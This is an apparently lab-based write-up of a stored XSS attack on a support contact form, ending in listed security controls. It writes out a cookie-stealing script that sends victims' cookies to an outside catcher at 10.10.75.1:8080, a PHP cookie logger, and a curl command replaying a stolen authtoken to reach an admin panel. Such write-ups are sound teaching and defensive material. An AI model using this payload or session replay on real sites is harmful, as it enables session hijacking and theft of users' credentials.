Stored XSS to Session Hijacking
The /contact form echoes submitted fields back on a confirmation page. Probing each field with a harmless <hr> tag showed the name field was escaped (rendered as text) but the email field was not (rendered an actual horizontal rule). A <script>alert(1)</script> in the email field executed, confirming XSS. Standing up a PHP cookie-catcher (file_put_contents logging GET/headers) and injecting <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>, the log recorded two hits: the tester's own browser and, minutes later, a different internal IP (the SME analyst who opened the ticket), confirming this was stored XSS. Replaying that stolen authtoken with curl -b reached the admin panel, whose ticket queue exposed users typing their own passwords into support requests.
Commands
1. Map the reflected fields
The /contact form (name, email, company, file, message) echoes its values on a 'Thanks' confirmation page. Any echoed field is a candidate sink for XSS, so the first step is just to see what comes back.
# submit /contact with test values and read the confirmation
2. Probe each field with <hr>
Submitting Lorezo<hr> in the name field rendered the literal text (escaped, safe). The same <hr> in the email field rendered an actual horizontal rule (unescaped, injectable). Same form, same page, different encoding per field: this is why every input must be tested.
# name: Lorezo<hr> -> rendered as text (escaped) # email: lorenzo@gmail.com<hr> -> rendered as a rule (injectable)
3. Confirm script execution
With the email field confirmed injectable, lorenzo@gmail.com<script>alert(1)</script> produced an alert box from support.falsimentis.com. XSS confirmed; now to weaponize it into something with real impact.
# email: lorenzo@gmail.com<script>alert(1)</script>
4. Stand up a cookie-catcher
A small PHP script logged incoming GET parameters and headers to cookies.log, served with the PHP built-in server on 8080. This is the endpoint the injected script will send victims' cookies to.
cat index.php # file_put_contents("cookies.log", ...GET...headers...)
php -S 0.0.0.0:80805. Inject the cookie stealer and catch a second victim
The payload redirected the victim's browser to the catcher with their cookie appended: <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>. The log showed two hits: the tester's own browser, and minutes later a different internal IP (172.30.0.201), the SME analyst who opened the ticket. That second IP is what makes this stored XSS.
# email field payload: # <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>
6. Hijack the session
The admin panel was a troll page when unauthenticated, but curl with the stolen authtoken cookie (-b) returned the real admin interface: a ticket queue where users had typed their own usernames and passwords into support requests. The stolen session became privileged access.
curl http://support.falsimentis.com/admin/ curl http://support.falsimentis.com/admin/ -b authtoken=77ba9cd915c8e359d9733edcfe9c61e5aca92afb
Key Findings
- The name field was escaped but the email field was not (inconsistent encoding)
- <script>alert(1)</script> executed in the email field
- The cookie log caught a second internal IP: the SME analyst (stored XSS)
- The stolen authtoken replayed via curl -b reached the admin panel
- The admin ticket queue exposed users' plaintext passwords
Security Controls
- Consistent context-aware output encoding on all fields
- Content-Security-Policy blocking inline script and exfil hosts
- HttpOnly / SameSite / Secure session cookies
- Credential-pattern scanning of user-submitted content
- XSS test coverage across every input in QA